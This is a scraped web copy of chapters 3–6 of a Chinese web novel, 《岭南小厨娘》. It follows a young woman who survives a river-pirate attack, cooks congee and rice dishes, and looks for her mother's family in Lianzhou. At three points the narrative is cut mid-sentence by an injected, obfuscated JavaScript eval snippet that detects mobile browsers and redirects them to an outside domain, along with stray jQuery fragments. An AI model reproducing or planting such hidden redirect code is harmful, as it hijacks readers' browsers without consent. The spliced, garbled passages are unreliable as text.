《岭南小厨娘》 3. 突遭水匪 夜色沉沉，寒风透过窗缝钻入客舱，林书晚下意识打了个寒颤，这才发现不知何时起，原本明亮的圆月被云层挡住，窗外漆黑一片。 船身轻晃，脚步杂乱，林书晚心头一紧，小心翼翼推开窗子。 未见人影，忽闻不远处传来一声闷哼，不消片刻，淡淡的血腥味顺着寒风而来，林书晚面色骤变，心知怕是遇上水匪了，早前听父亲提起京城往南鱼米之乡，故而水匪猖獗，屡剿不灭，可眼下才离京不到十里地，水匪怎敢如此嚣张。 眼下性命堪忧，她轻手轻脚回到床边，把姜婉两人唤醒，三言两语说清眼下处境，打算趁着水匪还未上楼，她们寻一处安全之地藏到天明，白日里她订客舱时听那管事的提及三层，与一二层不同的是，偌大的三层统共就五个房间，里头住的皆是有些身份的客人。 林书晚扫过一眼，瞧见三层角落堆了不少木箱，倒是个绝佳的藏身之处。 心中有了计较，她瞧着两人穿好衣裳，这才往门口靠去，她极小心地推开门探头张望，借着微弱的火光，水匪依旧在一层不四处搜寻，三人飞快从屋中钻出，直直往三层跑去。 借着月色，三人摸到三层西侧的角落，瞧着几个一人高的木箱，推着姜婉同青芜藏入靠里的木箱后，安抚着两人莫要出声，她才掀开靠门那只，翻身藏入其中。 林书晚蜷缩在木箱中，死死拽着自己的胸前的平安扣，耳朵紧紧贴在木箱壁上，听着外头的动静。 “世子，那女子瞧着似是林侍郎之女。”在林书晚未瞧见的阴影处藏着两人。 “唤人将楼下的水匪剿了。”被唤作世子的少年手执一柄玉箫，垂着眸随手把玩。 “是。”身后侍卫连声应下，领着守卫从三层一跃而下。 片刻之后，厮杀声四起，水匪大多乌合之众，自是敌不过训练有素的侍卫，三五盏的功夫便将底下作乱的水匪擒杀，押至那少年跟前。 “世子，人都擒住了。”彦七垂手立在江昱枫身后，欲言又止。 “有什么直接说，吞吞吐吐作甚。”江昱枫偏头望了他一眼，却见他迟疑地盯着林书晚藏身的木箱，心中了然，手中的玉萧转了个圈，踱步走至押着的水匪跟前，“何人指使你登船行凶？” “呸，你个佞臣，落到你手中算老子倒霉，要杀要剐悉听尊便。”岂料这水匪竟也是个有骨气的，梗着脖子骂道。 闻言，江昱枫挑了挑眉，来了兴致，抬手一甩下摆，蹲在那水匪跟前，“哦？你一介水匪竟识得我？不若你同我说说，在你们这些贼寇眼中，我是何种人？” 闻言，水匪面目扭曲，正要破口大骂之际，被彦七用破布塞住嘴巴，让人拖了下去，这才凑到被扰了兴致的江昱枫耳边，低声道：“世子，方才打斗之际，我听那些水匪言语间，似乎是冲着林侍郎之女来的，似有人同这些水寇买了林姑娘的性命。” “那同我有何干系，既你已将贼寇拿下，那便关在货仓之中，待到下船之际，送去官府，今日忙了这么半日，我也累了，剩下的事你收尾便是了。”江昱枫兴致缺缺地冲着彦七挥了挥手，转着手中的玉萧，优哉游哉地走回屋中。 大约过了半炷香，藏在木箱中的林书晚听着外头再没了动静，小心翼翼顶开箱盖，外头空无一人，深吸了口气，从箱子里头爬出，又飞快把姜婉同青芜拉出，三人匆匆回了自己的客舱。 乌云笼罩明月，窗外一片漆黑，只余房中的一盏烛火，三人相对而坐，姜婉蹙起眉头，“晚娘，你说今日买凶杀人的，可是大房的茵姐儿？” 闻言，林书晚沉吟片刻，“估摸着不是，茵姐儿虽自幼看不惯我，但不至于下此狠手。” 林书茵虽十分骄纵恶毒，但实在愚蠢想不出利用水匪以劫财之名杀人，真正买凶之人恐怕是她那装得慈眉善目的大伯。 次日一早，日头高悬于空，林书晚伸着懒腰推门而出，昨日的船上的血迹早已清洗干净，浑然瞧不出此前经历一场恶战，带着湿气的寒风扑面而来，吹散心中不安，既来之则安之，与其在此烦恼还不曾发生的事，不如煮上一锅砂锅粥，祭一祭自己空空如也的五脏庙。 她琢磨片刻，想起昨日自己似乎还买了些山药，姜氏在林府躺了这么些天，合该好好补补，她唤了青芜去打上一壶热水，自己手脚麻利的将粳米用温水泡上，又从行囊中翻出根细长的山药，躲开姜婉伸来的手，“阿娘，这山药我来处理便好，您帮我切几根姜丝。” 山药处理说难不难，但有些麻烦，若是直接上手，山药的粘液会让人瘙痒难耐，故而她不让姜婉上手，她先将山药用碎布包裹切成小段，再用叉子固定，开始削皮，片刻一小段一小段洁白的山药落入碗中，“啪啪”两声山药被林书晚用刀背拍碎。 “娘子，今日这是做什么吃食？”青芜瞧着她的动作实在好奇，拖过一张矮凳坐在她跟前，问道。 林书晚手下动作不停，取了瓦罐将泡好的粳米倒入其中，笑着应道：“昨日买了山药，今日便想着煮上一锅山药瘦肉粥。” 大约过了两刻钟，屋中米香四溢，林书晚揭开瓦罐盖子，奶白色的米汤中米花翻涌，她飞快倒入处理好的山药，盖上盖子继续焖煮一刻钟，米香混杂着山药的香味渐渐溢出，她用勺子略搅拌几下，发觉适才放入的山药，炖得软糯。 顺手取过一侧桌上腌制好的肉丝，倒入锅中，手中木勺不停搅拌，眼见着肉丝变色，米香馥郁，肉香香浓，最后再淋上一层早前煸出的猪油，浓香四溢，勾得一旁的青芜眼巴巴地瞧着跟前的瓦罐，那模样实在可爱，逗得姜婉轻笑出声，再不似昨日那般愁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180683|165248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容满面。 褐色的陶碗，盛满乳白色的米粥，山药块莹白如玉藏在米粥之中，瘦肉丝浅绯如霞，姜丝金黄点缀期间，当真是色香俱全，青芜迫不及待送入口中，米香混合着山药的软糯，加之瘦肉的咸鲜弹牙，那滋味鲜得她恨不得连着舌头一同吞下，“娘子这粥实在太好吃了，比京中广悦楼的粥还要香。” “你慢些吃，别烫着了。”林书晚瞧着她狼吞虎咽的模样，忍不住开口提醒。 “离了林府，青芜倒是活泼了许多。”姜婉含笑瞧着青芜吃得香，亦是胃口大开，米粥入口，她竟也不自觉瞪大眸子，急忙咽下之后，“晚娘，青芜说得不错，你这手艺竟比广悦楼还好些。” 京中广悦楼以粥出名，且价高难求，原身亦去吃过几回，那味道着实不错，但同她比起来还差了些，毕竟她当初特意去广州学了煲粥的手法，林书晚对她的厨艺极为自信，无论何时她都能依仗自己这门手艺安身立命。 日子过得极快，转眼三个月便过去了，客船停靠在钦州城西码头。 直到下船时，林书晚才发觉自己随身携带的平安扣丢了，她寻遍了整个屋子都未寻到，无奈之下，她只好先行下船。 钦州的码头建在集市不远处，人来人往热闹非凡，同自己所了解的岭南全然不同，正是一副繁华的景象，集市两边皆是卖着各色吃食的摊位，叫卖声不绝于耳。林书晚将方才失落的心情抛之脑后，想着自己未来亦要摆摊卖吃食，便牵着姜婉同青芜钻入集市之中，打算瞧瞧如今的岭南都在卖些什么吃食，有道是知己知彼，百战百胜。 前脚林书晚从客船离开，后脚江昱枫手中把玩着玉萧立在船头，瞧着林书晚的背影隐入人群之中，才回过头盯着自己的手下收拾行李，“莫忘了将那几个水寇送去衙门，让王知府好好查查，这几人同害死林侍郎的山贼可有勾连。” “是。”彦七应下，扭头吩咐下去。 正要离开，却被下属拉住，往他手中塞了一硬物，“郎君，此物是世子屋前那口箱子中寻到的，劳烦郎君交于世子。” 待到下属离开，彦七才垂眸瞧了眼手中的东西，竟是一枚精致的平安扣，他心中略有猜想，捏着平安扣匆匆赶回江昱枫身旁，“世子，这平安扣恐怕是先前林姑娘躲避水匪时不慎落下的。” 闻言，江昱枫扫过一眼他手中的平安扣，色泽通透，倒是一枚难得的好玉，原想着让彦七送还给她，转念一想，自己回岭南便是为了林侍郎之事，日后总有见面之时，抬手取过平安扣，顺手塞入腰间。 而此时，全然不知自己寻了许久的平安扣已落入他人之手的林书晚，正拎着鼓鼓囊囊的行囊，同姜婉两人立在一处破败的茶馆门前，大门洞开，里头的桌椅倒了一地，甚至连门匾都摔在了地上，显然许久未有人在。 4. 茶馆 三月二十，正值廉州暮春时分，落日的余晖和煦温暖，照得整个人都暖洋洋的，却驱不散姜婉心中的寒意，她望着破败的门厅，霎时红了眼眶，不知所措地转过头来，哽咽道：“明明五月前阿弟来信还说，家中一切都好，让我莫要记挂，怎么如今我来了，人却不见了。” 林书晚瞧着她惶惶然的模样，心中酸涩，她同青芜一左一右快步走至姜婉身旁，轻声安抚，“阿娘，说不准舅舅生意好，赚了银钱换了宅子呢。” “不会的，绝无可能，这茶馆是家中祖业，他哪怕换了宅子也不会将这铺子败落到这般田地。”姜婉推开林书晚搀扶着自己的手，抬脚往屋中走去，喃喃自语。 方才外头瞧得不清，随着姜婉踏进这破败的铺子，林书晚这才瞧清楚这茶馆里头，除开桌椅倒了一地，连靠着小院的墙都倒了一面。 姜婉脸色一变，匆匆穿过铺子往后院跑去，却见里头一片焦黑，窗子破败，墙壁黢黑一片，显然是院子之前是走水了，她身子一软，险些栽倒在地，好在林书晚眼疾手快，一把扶住了她。 她死死拽着林书晚的手，无措地目光扫过四周破败的小院，喃喃自语，“怎会如此？” “阿娘，别急，等明日一早我便同青芜去打听外婆与舅舅的消息。” “你们是何人？”林书晚正安抚着姜婉，忽而墙头窜出一个十一二岁娃娃的脑袋，正疑惑地盯着三人，片刻又扭过头去，冲着自家院子里头喊道，“阿娘，隔壁来了三位从未见过的娘子。” “臭小子，你小心些，等下从墙头刷下来有你好果子吃。”随着急促的脚步声响起，妇人的声音越过墙头，“你休要为了不写先生布置的课业骗我，隔壁姜家三月前便搬走了，哪还有人？” “阿娘真的，我不骗你，那几个娘子长得都可好看了，比李叔家的荷花姐姐还好看。”那娃娃趴在墙头，同他阿娘争论，“阿娘若是不信，自己瞧瞧不就知道了。” 话音落下，那妇人还未开口，便听走至墙边的林书晚，仰着头从袖袋中取出一颗用油纸包裹着的糖果，笑眯眯地冲着那娃娃道：“小哥儿，你可知这户人家搬去了何处？” 那娃娃低着头，瞧着林书晚面若芙蓉，又带着柔和的笑意，不自觉红了脸颊，他匆匆接过林书晚递来的糖果，扒开后抛入口中，含糊不清地开口，“我听阿娘说，姜家二爷领着姜婆婆搬去了长安街。” 两人正交谈间，那娃娃的阿娘也从家中穿过铺子，行至院中，远远瞧见坐在石桌旁垂泪的姜婉，脚步一顿，目露疑惑，半晌才试探着开口，“姜家大姐儿？” 闻言，姜婉转过头来，盯着那妇人瞧了许久，只觉得此人有些面善。 倒是那妇人认出了姜婉，接着她便好似打开了话匣子，拉着姜婉的手絮絮不止，“果真是你，大姐儿可是来看望你阿娘的？那你可是来迟了，你家这铺子自打你走后，生意一日不如一日，你家那勇哥儿也是个没本事的，科举科举不成，做生意又不是那块料，不过他运气倒是不错，三年前被宝德楼管事家的姑娘看上了，招作了赘婿，此后你家这铺子便是你阿娘一人撑着，直到三月前，你家这后院不知怎么的就失火了，好在街坊邻居来得快，这才将火扑灭，只是你家这屋子再也住不得人，勇哥儿便来将你阿娘接走，起先你阿娘还不愿意，勇哥儿好说歹说才将她劝走。 听钱家娘子说，勇哥儿同那管事家的姑娘成婚后，那管事在昌平街又给小夫妻俩置办了一件宅子，如今两人带着你阿娘还有两个孩子便住在宅子中。” “多谢婶子。”林书晚瞧着还呆愣在原地的姜婉，赶忙唤了青芜从行囊中取出今日在钦州买的糕点，塞到妇人怀中。 眼瞅着那妇人脸色一变就要推拒，林书晚赶忙笑着开口，“婶子都是邻居，难免要相互照应，更何况若今日没你同我母女说外婆同舅舅的去向，我同阿娘也不知何时才能寻到外婆，您快收下吧，日后说不准还要麻烦您呢。” 话已至此，再不收便显得有些矫情了，妇人只好将那糕点提在手中，她瞧着天色不早，瞧着三人风尘仆仆的样子，心中略有猜测，怜悯地瞧了姜婉一眼，便提着糕点从姜家茶馆离开。 夕阳西下，天色渐渐昏暗，廉州的灰鲸巷大多住的都是些市井人家，最近的客栈都要走上小半个时辰，显然不太现实，林书晚琢磨了片刻，扫过后院的屋子，大多都被烧的破败不堪，不过好在西厢房那处还有一间屋子保存的不错，她留了青芜守着姜婉。 自己匆匆走至厢房门前，大约是觉得宅子烧的差不多了，这门竟然没锁，林书晚推门而入，尘土扑面而来，她不自觉打了个喷嚏，抬手挥了挥，这才往里头望去，屋子里头木箱柜子摆放的井井有条，想来她那素未谋面的外婆是个极有条理的老人。 屋中并无床铺，估摸着这屋子早前是用来放杂物的，林书晚在箱笼中寻了一张席子，外加几条棉絮，寻了一处平整的空地铺上，简简单单过夜的地方便整理好了。 解决了住的问题，现下便要解决吃的问题，好在早前在路上的吃食还剩了不少，除了米面之外，还剩了一块腊肉同一颗菘菜，正好做上一锅腊肉焖饭，而且她方才瞧过，大约是因为这原先开的是茶馆，小院中原本就有一口水井，这样三人吃水便不用去三里以外的水房打了，林书晚唤了青芜去打了一桶水来。 她瞧着姜婉依旧失魂落魄的模样，沉吟片刻，将那那颗泛着黄的菘菜塞入姜婉手中，随后将她推出门，“阿娘若是没事，不如同青芜一起帮我把这菘菜洗干净，再用温水把粳米泡上。” 林书晚取出行囊中的碳炉，将今日买来的砂锅架在炉子，腊肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180684|165248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷水下锅，这腊肉同早前京城买的不同，味道极咸，得先焯去表面的盐分，不然做出来的焖饭也不会好吃，等到锅中水开，她将焯好水的腊肉捞出，菜刀“笃笃”几声，薄厚均匀地腊肉便切好了。 接过青芜递来的粳米，林书晚正打算在砂锅壁上刷上一层油时，才发现猪油早在路上便用完了，她眉尖微微蹙起，迟疑片刻，从腊肉上剔下一块肥肉，丢入锅中，腊肉的肥肉油脂虽不如新鲜猪肉丰富，但总归还是有的，随着她筷子的翻动，锅底渐渐凝聚一汪猪油，瞧着火候差不多了，她用小碗舀出一些后，才有条不紊地倒入一早切好的葱蒜末，和着腊肉一起翻炒，直到腊肉的香味在屋弥漫开来。 待到琥珀色的腊肉边缘泛起一点焦黄，林书晚正要将腊肉盛起，忽而耳边传来吸溜口水的声音，她扭头一瞧，只见青芜直勾勾地盯着锅中的腊肉，仔细一瞧，似乎眼底深处还有一抹绿光，看来今日实在是恶狠了，想来也是，今日午食吃得早，眼下已至酉时三刻，她抿唇一笑，从锅中夹起一块煸得金黄的油渣，递到青芜唇边，笑着安抚，“再等一会，暮食马上便能吃了。” 金黄的油渣入口酥脆，一口咬下带着腊肉独有的风干香味的油脂在口中爆开，青芜霎时满足的眯起杏眼，心中暗叹娘子的手艺实在太好了，哪怕是这简简单单的油渣都做得这般好吃，果然自己跟着娘子一同从林府离开是极正确的做法。 林书晚自是不晓得青芜心中所想，眼下正是做焖饭最要紧的时候，她做焖饭的做法与旁人不同，她喜欢先将泡好的粳米，和着猪油翻炒均匀，再淋上一勺清酱直到每一粒粳米都裹上一层酱色，才会放入砂锅中，同一早备下的腊肉菘菜焖煮。 待到两刻钟后，屋中的香味愈发浓郁了，林书晚瞧着锅中焖饭差不多了，又取了方才装油的小碗，舀了一勺小心翼翼在砂锅锅盖边缘均匀淋上。 “晚娘，这是何意？”姜婉自然三月路程中，瞧见林书晚做过不少吃食，但今日这往锅盖淋油，她还是头一遭见。 “阿娘稍后便知。”林书晚抿唇一笑，随即掀开锅盖，焦香四溢，除了那股子浓郁的焦香，紧接着便是腊肉的香味混杂着菘菜的清甜，十分诱人。 今日三人实在是恶狠了，皆是无心欣赏焖饭的模样，一人一碗接过后便埋头苦吃，咸香的腊肉就着清甜的菘菜，令人百吃不厌，尤其锅中的粳米，吸满了腊肉的油脂，吃在口中令人意犹未尽。 且不说姜家三人吃得香甜，那焖饭的香味早顺着窗子的缝隙钻出，在整个巷子中流连弥漫，引得巷子中的人家下意识吸着鼻子，心中一阵惊叹，却不知何家做饭味道这般香，勾得人不停地吞咽着口水，倒是姜家隔壁的妇人心中有所猜测，估摸着是姜婉几人的暮食，思及此，她又好似想到什么，摇了摇头，心道可惜是个苦命的。 5.宝德楼 次日清晨，窗外传来鸡鸣声，林书晚睁开眼睛，瞧着身侧还在睡着姜婉同青芜，轻手轻脚起身，从行囊中翻出木齿与牙粉，推门往往水井旁走去。 天色阴沉，瞧着似要下雨，她加快手中动作，梳洗之后，瞧着屋中两人还在睡，便小心翼翼提起跟前的碳炉，又取出行囊中剩余的面粉，鸡蛋往院子中去了，生起火煮了一锅开水，手脚麻利地将面粉倒入盆中，同敲入的鸡蛋一同搅和均匀后。 林书晚挽起袖子，露出一段莹白的胳膊，揉着盆中的面粉，大约过了一盏茶的功夫，盆中的面团变得光滑柔韧，就在她将面团搓成长条之际，姜婉打着哈欠推门而出。 “晚娘怎起的这般早？”她取过石桌上的木齿就着井水洗漱，轻声问道。 “睡不着便起来做朝食了，阿娘今日朝食便吃鸡蛋面吧。”林书晚手下动作不停，一拉一扯下，细长的面条便出现在她指尖，其实今日吃鸡蛋面还有一个原因，只因手头的食材只余下这些。 今日她打算去过舅舅家之后，便去采买些食材，再买上些日用品，顺便瞧瞧这廉州城摆摊的小贩大多卖那些吃食。 “你做的吃食，阿娘都爱吃。”大约是今日要去见许久未见的阿娘同弟弟，姜婉难得挽了一个同心髻，簪上一枝素银簪子，取出自己从林府带出的衣裙，虽消瘦了些，但好歹还能撑起那身衣裙，瞧着倒是比先前气色好了许多，这也得益于，路上三个月，林书晚一日三餐，餐餐不落的做吃食。 待到细长的面条成型，屋外传来一声犬叫，片刻之后，整个巷子响起此起彼伏的犬叫声，总算是将还在酣睡中的青芜唤醒，她推开门，一眼瞧见自家夫人在水井边洗些锅碗瓢盆，心中一惊，都来不及洗漱，就飞扑到姜婉身旁，焦急道：“妇人快放下，我来洗。” “阿芜，我记得在船上便同你说过，往后我们不再以主仆相称，你同晚娘一样都是我的女儿，快些去洗漱，洗漱好便能吃朝食了。”姜婉侧身躲开青芜的手，瞧了眼她杂乱的头发，催促她快些去洗漱。 闻言，青芜维持伸手的姿势愣在原地，不过片刻，她红了眼眶。 “阿娘说的对，你自幼同我一起长大，与姐妹也无甚分别，好了如今身契已归于你手，往后莫要再以奴才相称，唤我姐姐便好。”林书晚对上她红的像兔子似的眼睛，弯眉一笑，“快些洗漱。” “嗯。”青芜鼻头酸涩，低下头藏住滑落的泪珠，她自幼死了爹娘，被人卖入花楼，偷跑时被林书晚救下，从那之后，她便再没挨过饿，受过冻，娘子同夫人待她极好，日后自己要更加尽心才是。 青芜抬手擦去眼角的泪水，抬头扬起笑脸，嗅着空气中煎蛋的香味，凑到林书晚身旁，探头往锅中张望，小巧的铁锅中卧着一颗金灿灿的鸡蛋，“阿姐，这鸡蛋煎得真漂亮。” “那是自然，也不瞧瞧你阿姐是谁。”林书晚嘴角扬起，手中锅铲一抖那颗鸡蛋便翻了个身，焦香四溢。 瞧着她们两人的模样，不远处的姜婉下意识露出一抹笑意，一时间姜家的破宅中和乐融融，三人围坐在桌前，汤面中的鸡蛋吸满汤汁，外缘微脆内里绵软，一口咬破溏心顺着缺口流出，包裹着柔韧弹牙的面条，虽简简单单，却令人十分满足。 简单吃过朝食后，三人便提着昨日在钦州买的布匹出门了，灰鲸巷虽不算偏远，但距离长安街还有一段距离，原本林书晚想着一路走一路逛着过去，自己正好瞧瞧廉州城摆摊的商贩都卖些什么吃食，正好给自己日后摆摊攒些经验，可她瞧着才出门就有些紧张的姜婉，心知今日她若未寻到外婆与舅舅，恐怕是没心思逛集市的，便歇了心思。 直到行至城中，此处距离长安街不远，一座六层高的酒楼坐落在城中，林书晚抬头看去，牌匾上写的正是昨日邻居娘子提及的宝德楼，她心念一动，拉住门前迎来送往的小二，“小哥，劳烦同您打听一下，酒楼管事的小姐家住何处？” 闻言，小二上下打量了林书晚一眼，瞧着她衣着朴素的模样，眉尖一挑从肩膀取下搭布，像赶苍蝇似的甩了几下，冲着她道：“瞧你这穷酸样，滚开别耽误小爷我做生意。” “你这人怎么同我家阿姐说话？”青芜大怒，撸起袖子就要同那小二理论。 话音一落，小二带着嫌弃的视线，上下打量着眼前的三位女子，却见几人衣着朴素，便知这几人无钱无势，当下瞪着眸子指着青芜的鼻子骂道：“难不成我说的不对，也不晓得从哪里来的穷鬼上来就问我家娘子的住所，莫不是听说我家娘子心善，想去讨些银钱。” 此言一出，莫说青芜，连林书晚都变了脸色，她沉默片刻，松开拽着青芜的手，“郎君这话实在难听了些，我与阿娘上门不过是听闻我舅舅姜勇，同你家娘子喜结连理，这才想上门拜访，而你这态度难不成宝德楼的小二都这般模样么？” 话音一落，周边围观的人群，噪杂声四起。 “这小娘子说的不错，前些日子我不过穿的素净了些，就这人鼻子朝天，瞧都不瞧我一眼。” “对，晓得的知道他是宝德楼的小二，不晓得的还以为他是宝德楼的老板呢，当真是笑话，一个小二还敢对来往的宾客评头论足了。” …… 声音愈来愈响，小二恼羞成怒，抬手抓起身侧的茶杯就要砸向林书晚，却被时刻盯着他的青芜，冲上前去，劈手夺下他手中的茶杯，抬手就给了他两巴掌，怒道：“你是什么东西，也敢羞辱我阿娘同阿姐。” 被扇了巴掌的小二，自是不肯罢休，眼睛瞪得滚圆，反手就要扇上青芜，谁知那丫头仗着自己身形瘦小，一个矮身从小二腋下穿过，飞快跑回林书晚身旁。 仰着脸，笑着同林书晚道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191575|165248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿姐，这酒楼的小二这般不知礼数，想来也是问不出舅舅的消息了，不如我们去牙行，那处的消息比较灵通。” 方才闹了这么一通，宝德楼外头围了不少人，方才瞧着青芜动手，倒是又不少人叫好，想来这小二是积了民怨，闹了这么许久，脚步匆匆，一身着竹青色交领襕衫，腰间革带悬一枚青玉镂雕香囊，坠着黛色流苏的男子从屋内走出。 那小二才见此人，便捂着脸冲他哭诉，“郎君，今日那小娘子无故打探孙娘子的住址，奴自是不愿不相干的人去打搅娘子的清净，便回绝了，谁料那小娘子身旁跟着的丫头上来就扇了奴两巴掌，郎君可要替奴做主。” 恶人先告状，当真是开了眼了，林书晚面色微沉，冷笑一声，指着周边围观的路人，冲那小二开口，“小二哥，莫不是觉着这些郎君娘子皆是耳聋眼瞎之人，青天白日的就颠倒是非？” “是啊，分明是他先侮辱人家小娘子，如今还敢倒打一耙。” “今日真是长见识了，平日里都说什么长舌妇，要我看来男子搬弄是非，比女子还要厉害些。” 嘈杂声四起，方才出来的郎君狠狠瞪了小二一眼，冲着众人一拱手，“诸位实在抱歉，是在下御下不严，才出此差错，颜某在此请诸位见证，此人今日便不再是宝德楼的小二。” 闻言，小二面露惊慌，飞快跪在地上，“求郎君饶奴一次，日后奴再也不敢了。” “还不将他拖下去。”颜郎君眉头皱起，瞥了小二一眼，绕过此人行至林书晚跟前，又一拱手，“小娘子实在抱歉，只是某可否问问您为何要打听孙娘子的住所？” 哭嚎声阵阵，小二心知回天无力，低头垂眸藏住眼底的恨意。 林书晚抬头瞧着颜郎君，只见此人面带笑意，似是春风和煦，心中暗道一声笑面虎，她抬手抹了把眼角，面露悲泣，“郎君有所不知，奴家同阿娘从京中来此探亲，才寻到祖宅，谁知早已空无一人，同邻居打听了才知舅舅同孙家娘子喜结连理，奴家废了一番功夫才晓得这孙家娘子竟是宝德楼管事之女，家住长安街，却不晓得具体是哪户人家。 一路上奴家听闻宝德楼的管事是位大善人，奴家便想着来问问，谁料才开口便被那人辱骂，骂我倒也罢了，竟将我阿娘也骂上了。” 抬眸间，眼眶通红，原身原本就有一副好颜色，如今这垂泪欲滴的模样，更是令人怜惜。 颜郎君瞧着周边围着越来越多的人，心中暗骂，脸上却维持着笑意，同林书晚打着太极，“原来如此，既小娘子说姜郎君是你舅舅，那我便让人将他请来如何？” “那自然再好不过了。” “那还请小娘子同夫人随某一同去酒楼中稍待片刻。”听着林书晚应下，颜郎君笑着将人迎入宝德楼，随后扭头同身侧的下属开口，“快去把姜郎君请来。” 6.初遇 闻言，身着青灰色短打的少年匆匆离去，林书晚跟在颜郎君身后，目光飞快扫过四周，精美雅致的装潢令人惊叹。 端着吃食的婢女，身着统一服饰穿行在走道间，丝竹声缓缓从四周传来，几位身着舞衣的女子踩着鼓点，从屏风后绕出，舞姿婀娜，林书晚一时看入了神，没留意迎面走来一位容貌妍丽，身材高挑的少年。 “娘子小心。” 青芜的喊声从耳边响起，林书晚猛然回过神来，飞快侧过身子，脚下一崴，摔倒在地，抬头却见少年垂眸瞧了她一眼便错开目光，便把玩着手中的玉萧从她身侧路过。 直到那少年的背影消失不见，林书晚才收回目光，撑着身后的柱子缓缓起身，笑着同颜郎君道：“楼中歌舞实在精彩，奴家一时看入了神。” 颜郎君了然一笑，领着三人在听雨阁停下，推门而入唤了一侧的少年，沏上一壶茉莉花茶，才扭头笑着同林书晚道：“娘子有所不知，这楼中的舞娘，皆是由孙管事亲自挑选，听闻都是按照京中贵人的喜好排的舞，娘子从京中来，难道从未见过这等舞蹈么？” 说罢，他比了个请的手势，将三人请入听雨阁中，才落座，门口的少年手提茶壶匆匆而来，轻手轻脚置于桌上，垂着双手，退至一旁。 颜郎君正要替三人倒上热茶，门口忽然闯入一人，扫过四周，快步走至颜郎君身边，弯腰耳语几声，颜郎君面色一变，冲着林书晚一拱手，满是歉意地开口，“劳烦娘子在此处等上片刻，大约再过一炷香的时间，姜郎君便会来此，如今在下有要事在身，先行一步。” “既郎君有事，那便去忙吧。”林书晚瞧了眼自方才起便心不在焉的姜婉，几不可闻地叹了口气，笑着同颜郎君福了福身。 待到木门紧闭，久未开口的姜婉，惴惴不安地瞧着林书晚，“晚娘，我心头慌得很，我若是你舅舅不愿接纳我们，我们孤儿寡母的该如何是好？” 大约是方才那小二的话，让她起了疑虑，毕竟自己也有十数年未同勇哥儿见面，如今他又做了别人的赘婿，虽说同那姑娘感情极好，但估摸着也做不了主，可如今她几人暂住在旧宅中，也不是事儿，毕竟那处门庭败落，又十分偏僻，她们又是三个女子，若真遇着什么事，恐怕没法子自救，姜婉心中忧虑，一时没了主意。 话音一落，林书晚轻叹一声，早前不晓得舅舅做了赘婿，她也只想着暂住几日，待她将摆摊的物什置办好，赚上些银钱，便同娘青芜在外头组个小院，毕竟寄人篱下的日子实在不好受，如今更是不能借住舅舅了。 “阿娘，我们今日本就是想着瞧瞧外婆如今身体如何？舅舅家能去便去，去不得便回旧宅，那处虽破败了些，但总还是能遮风避雨，如今我们手头还有些银钱，明日我便寻了邻居娘子问问哪家的木匠功夫好些，去买些家具再换扇门，我先前没同你说，我打算将东西置办好，过几日便带着青芜去城东的码头处摆摊卖吃食。”林书晚端起茶杯，轻抿一口，温热的茶水中带着茉莉清甜的花香，令人心旷神怡。 闻言，姜婉心头一震，盯着林书晚瞧了许久，却见她一脸认真，显然是仔细考量之后才同自己说的，她嘴唇一张一合，好半晌都未说出一句话。 林书晚瞧出她心中疑虑，放下手中的茶杯，“阿娘觉着我做吃食的手艺如何？” 听着此言，姜婉愣了愣，好似不晓得林书晚为何这般问，对上她认真的眸子，姜婉下意识点了点头，“自然是极好，若真要比起来，晚娘的手艺同宫中御厨都不相上下”。 “既如此，那阿娘为何不信我能靠这门手艺养活我们三人？”林书晚垂眸，摩挲着自己指腹的老茧，心中无力，虽说永宁朝女子可经商，但大多女子都与姜婉一般困于深闺，出嫁前靠着家中父兄，出嫁后靠着丈夫，全然不曾见过外头广阔的天地。 说罢，林书晚起身，推开窗，外头此起彼伏的叫卖声不绝于耳，街道两侧挤挤挨挨地皆是摆摊的小贩，有卖吃食的，也有卖各种饮子，还有卖着一些自己种的果蔬，各式各样，实在热闹得很。 姜婉坐在原处，耳边回荡着方才林书晚所言，这倒是她从未想过之事，她自幼出生商贾，虽门庭不高，但家中有钱从未吃过苦头，后来嫁到林家，夫君爱重她，举案齐眉，哪怕家中生意败落，自己也未曾受到影响，反而还让自己取了不少银钱贴补娘家。 故而夫君过世后，她们母女俩被赶出家门，她头一个想到的就是娘家兄弟，倒是从未想过靠自己的双手养活自己，说来她幼时聪慧，五岁便能帮着阿爹瞧账，日后晚娘若是真要做吃食生意，自己便能帮着她记账，想通后，姜婉长舒了口气，正要开口。 紧闭的房门，被人从外头推开，一位穿红戴绿，头上戴着簪花布巾的男子从外头踏入，瞧见姜婉之际，步子一顿，又上下打量了几人一番，心中狐疑，却面上不显，反而堆满笑意地快步走至姜婉身旁，一把抓住她的双手道：“阿姐，十余年未见，如今你可还好？” 